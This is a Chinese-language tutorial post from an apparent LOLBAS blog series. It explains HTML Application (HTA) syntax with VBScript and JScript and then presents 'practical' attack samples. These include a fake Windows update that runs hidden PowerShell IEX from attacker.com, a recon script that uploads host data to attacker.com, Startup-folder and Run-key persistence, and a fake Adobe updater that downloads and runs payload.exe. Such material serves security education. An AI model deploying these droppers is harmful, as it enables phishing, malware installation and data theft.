2005 字
10 分鐘
- views
【LOLBAS鐵人賽Day28】附錄(二):HTA 基礎語法與實戰應用
在之前 mshta.exe 的文章中,
我們有看到 HTA 檔案也可以當作攻擊的方式,
今天我們就來一起看看 HTA 的相關語法和技術應用吧!
一HTA 基礎
HTA (HTML Application) 是以 HTML 形式呈現但具有完整系統權限的應用程式,
由 mshta.exe 執行跟網頁比較不同的地方是 HTA 不會受瀏覽器沙箱限制,
可以執行系統命令存取檔案操作註冊表
基本結構
<!DOCTYPE html><html><head> <title>我的 HTA</title> <HTA:APPLICATION BORDER="thin" CAPTION="yes" SHOWINTASKBAR="yes" /></head><body> <h1>Hello HTA!</h1> <button onclick="alert('測試')">點我</button></body></html>說明:
- 儲存為
.hta副檔名,雙擊即可執行 <HTA:APPLICATION>標籤設定視窗外觀- 可以使用 HTML/CSS 設計介面
- 可以執行 VBScript 或 JScript
常用屬性
<HTA:APPLICATION BORDER="thin" <!-- 邊框樣式 --> CAPTION="yes" <!-- 顯示標題列 --> MAXIMIZEBUTTON="yes" <!-- 最大化按鈕 --> MINIMIZEBUTTON="yes" <!-- 最小化按鈕 --> SHOWINTASKBAR="no" <!-- 不顯示在工作列 --> SINGLEINSTANCE="yes" <!-- 只能執行一個 --> WINDOWSTATE="normal" <!-- 視窗狀態 -->/>說明:
SHOWINTASKBAR="no"可以隱藏視窗,常用於隱密執行SINGLEINSTANCE="yes"防止重複執行BORDER="none"可以建立無邊框視窗
二VBScript 核心語法
基本語法
<script language="VBScript">' 變數與常數Dim name, agename = "John"age = 30Const PI = 3.14
' 陣列Dim itemsitems = Array("A", "B", "C")
' 條件判斷If age >= 18 Then MsgBox "成年"Else MsgBox "未成年"End If
' 迴圈Dim iFor i = 1 To 5 document.write i & "<br>"Next</script>說明:
- VBScript 不區分大小寫
- 使用
Dim宣告變數,不需指定型別 Array()快速建立陣列&用於字串連接document.write可以輸出到網頁上
檔案操作
<script language="VBScript">Sub FileExample() Dim fso, file Set fso = CreateObject("Scripting.FileSystemObject")
' 寫入檔案 Set file = fso.CreateTextFile("C:\test.txt", True) file.WriteLine "測試內容" file.Close
' 讀取檔案 If fso.FileExists("C:\test.txt") Then Set file = fso.OpenTextFile("C:\test.txt", 1) Dim content content = file.ReadAll file.Close MsgBox content End IfEnd Sub</script>說明:
CreateObject("Scripting.FileSystemObject")建立檔案系統物件CreateTextFile建立新檔案(第二個參數 True 表示覆寫)OpenTextFile開啟檔案(1=唯讀,2=寫入,8=附加)FileExists檢查檔案是否存在- 可以用來讀寫設定檔記錄日誌等
執行命令
<script language="VBScript">Sub RunCommand() Dim shell Set shell = CreateObject("WScript.Shell")
' 顯示視窗執行 shell.Run "cmd.exe /c ipconfig", 1, True
' 背景執行(隱藏視窗) shell.Run "notepad.exe", 0, False
' 執行 PowerShell shell.Run "powershell.exe -Command Get-Process", 1, False
' 取得環境變數 MsgBox "電腦名稱: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%")End Sub</script>說明:
CreateObject("WScript.Shell")建立 Shell 物件用來執行命令Run方法的三個參數:命令視窗狀態(0=隱藏,1=顯示)是否等待cmd.exe /c執行命令後自動關閉ExpandEnvironmentStrings展開環境變數(如 %TEMP%, %USERNAME%)- 第三個參數 True 會等待命令執行完成
網路操作
<script language="VBScript">Sub DownloadFile() Dim http, stream Set http = CreateObject("MSXML2.XMLHTTP") Set stream = CreateObject("ADODB.Stream")
' 下載檔案 http.Open "GET", "http://example.com/file.txt", False http.Send
If http.Status = 200 Then stream.Type = 1 ' Binary stream.Open stream.Write http.ResponseBody stream.SaveToFile "C:\downloaded.txt", 2 stream.Close MsgBox "下載完成" End IfEnd Sub
Sub SendData() Dim http Set http = CreateObject("MSXML2.XMLHTTP")
' POST 請求 http.Open "POST", "http://example.com/api", False http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" http.Send "data=hello"
MsgBox http.ResponseTextEnd Sub</script>說明:
MSXML2.XMLHTTP用來發送 HTTP 請求ADODB.Stream用來處理二進位資料Status = 200表示請求成功SaveToFile的第二個參數:1=不覆寫,2=覆寫- 可以用來下載第二階段 payload 或上傳資料到 C&C 伺服器
三JScript 核心語法
基本語法
<script language="JScript">// 變數和函數var name = "John";var age = 30;
function greet(name) { return "Hello, " + name;}
// 陣列var arr = [1, 2, 3, 4, 5];arr.push(6);var str = arr.join(",");
// 物件var person = { name: "John", age: 30};
// 迴圈for (var i = 0; i < 5; i++) { document.write(i + "<br>");}</script>說明:
- JScript 是 Microsoft 的 JavaScript 實作
- 語法與 JavaScript 相似
- 支援物件導向程式設計
- 可以與 VBScript 混用
系統操作
<script language="JScript">function executeCommand(cmd) { var shell = new ActiveXObject("WScript.Shell"); var exec = shell.Exec(cmd);
var output = ""; while (!exec.StdOut.AtEndOfStream) { output += exec.StdOut.ReadLine() + "\n"; } return output;}
function downloadAndRun(url, savePath) { var http = new ActiveXObject("MSXML2.XMLHTTP"); var stream = new ActiveXObject("ADODB.Stream"); var shell = new ActiveXObject("WScript.Shell");
http.open("GET", url, false); http.send();
if (http.status == 200) { stream.type = 1; stream.open(); stream.write(http.responseBody); stream.saveToFile(savePath, 2); stream.close();
shell.Run(savePath, 0, false); return true; } return false;}</script>說明:
ActiveXObject建立 COM 物件Exec執行命令並可以讀取輸出StdOut.ReadLine()讀取命令的標準輸出- 這個函數可以執行命令並取得結果
- 常用於下載並執行遠端的惡意程式
四實戰應用
1. 偽裝更新通知
<!DOCTYPE html><html><head> <title>系統更新</title> <HTA:APPLICATION BORDER="dialog" CAPTION="yes" SHOWINTASKBAR="no" /> <style> body { font-family: Arial; padding: 30px; } .warning { color: red; font-weight: bold; } button { background: #0078d4; color: white; padding: 10px 30px; border: none; cursor: pointer; } </style></head><body> <h2>Windows 安全更新</h2> <p class="warning">發現重要安全漏洞</p> <p>請立即安裝更新以保護您的電腦</p> <button onclick="Install()">立即安裝</button> <button onclick="window.close()">稍後提醒</button>
<script language="VBScript"> Sub Install() Dim shell Set shell = CreateObject("WScript.Shell") shell.Run "powershell.exe -w hidden IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')", 0, False MsgBox "更新完成", vbInformation window.close() End Sub </script></body></html>說明:
- 使用 Windows 風格的 UI 提高可信度
SHOWINTASKBAR="no"避免被發現-w hidden隱藏 PowerShell 視窗IEX是Invoke-Expression的別名,執行下載的腳本- 這是典型的釣魚攻擊手法,偽裝成系統更新
2. 資訊收集
<script language="VBScript">Sub CollectInfo() Dim shell, fso, file Set shell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject")
' 建立報告檔案 Dim reportPath reportPath = shell.ExpandEnvironmentStrings("%TEMP%\report.txt") Set file = fso.CreateTextFile(reportPath, True)
' 收集基本資訊 file.WriteLine "電腦: " & shell.ExpandEnvironmentStrings("%COMPUTERNAME%") file.WriteLine "使用者: " & shell.ExpandEnvironmentStrings("%USERNAME%") file.WriteLine "網域: " & shell.ExpandEnvironmentStrings("%USERDOMAIN%")
' 執行命令收集詳細資訊 Dim exec Set exec = shell.Exec("cmd.exe /c ipconfig /all") file.WriteLine vbCrLf & "=== 網路設定 ===" & vbCrLf file.WriteLine exec.StdOut.ReadAll
file.Close
' 上傳到遠端 Call UploadFile(reportPath)End Sub
Sub UploadFile(path) Dim http, fso, file, content Set http = CreateObject("MSXML2.XMLHTTP") Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile(path, 1) content = file.ReadAll file.Close
http.Open "POST", "http://attacker.com/upload", False http.Send contentEnd Sub</script>說明:
%TEMP%是暫存目錄,通常不會被注意Exec執行命令並捕獲輸出- 收集電腦名稱使用者名稱網路設定等資訊
- 可以用來進行偵察或建立目標資料庫
3. 持久化機制
<script language="VBScript">Sub CreatePersistence() Dim shell, fso, htaPath Set shell = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject")
' 取得當前 HTA 路徑 htaPath = window.location.pathname htaPath = Mid(htaPath, 2) ' 移除開頭的 /
' 方法一:複製到啟動資料夾 Dim startupPath startupPath = shell.SpecialFolders("Startup") fso.CopyFile htaPath, startupPath & "\check.hta", True
' 方法二:寫入註冊表 On Error Resume Next shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Check", _ """" & htaPath & """", "REG_SZ"End Sub</script>說明:
window.location.pathname取得目前 HTA 檔案的路徑SpecialFolders("Startup")取得啟動資料夾路徑- 複製到啟動資料夾後,每次開機都會執行
- 寫入註冊表的 Run 鍵也會在開機時自動執行
On Error Resume Next忽略錯誤(如權限不足)
4. 完整攻擊範例
<!DOCTYPE html><html><head> <title>Adobe Reader Update</title> <HTA:APPLICATION BORDER="dialog" SHOWINTASKBAR="no" /></head><body> <h3>Adobe Reader 需要更新</h3> <button onclick="Update()">更新</button>
<script language="VBScript"> Sub Update() Dim shell, http, stream Set shell = CreateObject("WScript.Shell") Set http = CreateObject("MSXML2.XMLHTTP") Set stream = CreateObject("ADODB.Stream")
' 下載 payload http.Open "GET", "http://192.168.1.100/payload.exe", False http.Send
If http.Status = 200 Then Dim exePath exePath = shell.ExpandEnvironmentStrings("%TEMP%\update.exe")
stream.Type = 1 stream.Open stream.Write http.ResponseBody stream.SaveToFile exePath, 2 stream.Close
' 執行 payload shell.Run exePath, 0, False
' 建立持久化 shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Adobe", _ """" & exePath & """", "REG_SZ" End If
MsgBox "更新完成", vbInformation window.close() End Sub </script></body></html>說明:
- 完整的攻擊流程:下載 執行 持久化
- 偽裝成 Adobe Reader 更新提高成功率
- payload 儲存在 %TEMP% 目錄
- 透過註冊表實現開機自動啟動
- 實際攻擊中常見的手法
五測試環境
建立測試 HTA
<!-- test.hta --><!DOCTYPE html><html><head> <title>測試</title> <HTA:APPLICATION /></head><body> <button onclick="Test()">測試</button> <script language="VBScript"> Sub Test() MsgBox "HTA 可以正常執行"
Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim file Set file = fso.CreateTextFile("C:\test.txt", True) file.WriteLine "測試成功" file.Close
MsgBox "已建立 C:\test.txt" End Sub </script></body></html>說明:
- 儲存為
.hta檔案 - 雙擊執行測試
- 如果能建立檔案就表示有完整權限
六總結
核心技術
- VBScript/JScript:腳本語言,控制 HTA 行為
- FileSystemObject:檔案和目錄操作
- WScript.Shell:執行命令和操作註冊表
- XMLHTTP:網路請求,下載和上傳資料
常見用途
- 釣魚攻擊:偽裝成合法程式更新
- 初始存取:作為第一階段 dropper
- 資訊收集:收集系統資訊
- 持久化:透過啟動項或註冊表
參考資源
【LOLBAS鐵人賽Day28】附錄(二):HTA 基礎語法與實戰應用
https://owld.tw/posts/lolbas-day-28-附錄-二-hta-基礎語法與實戰應用/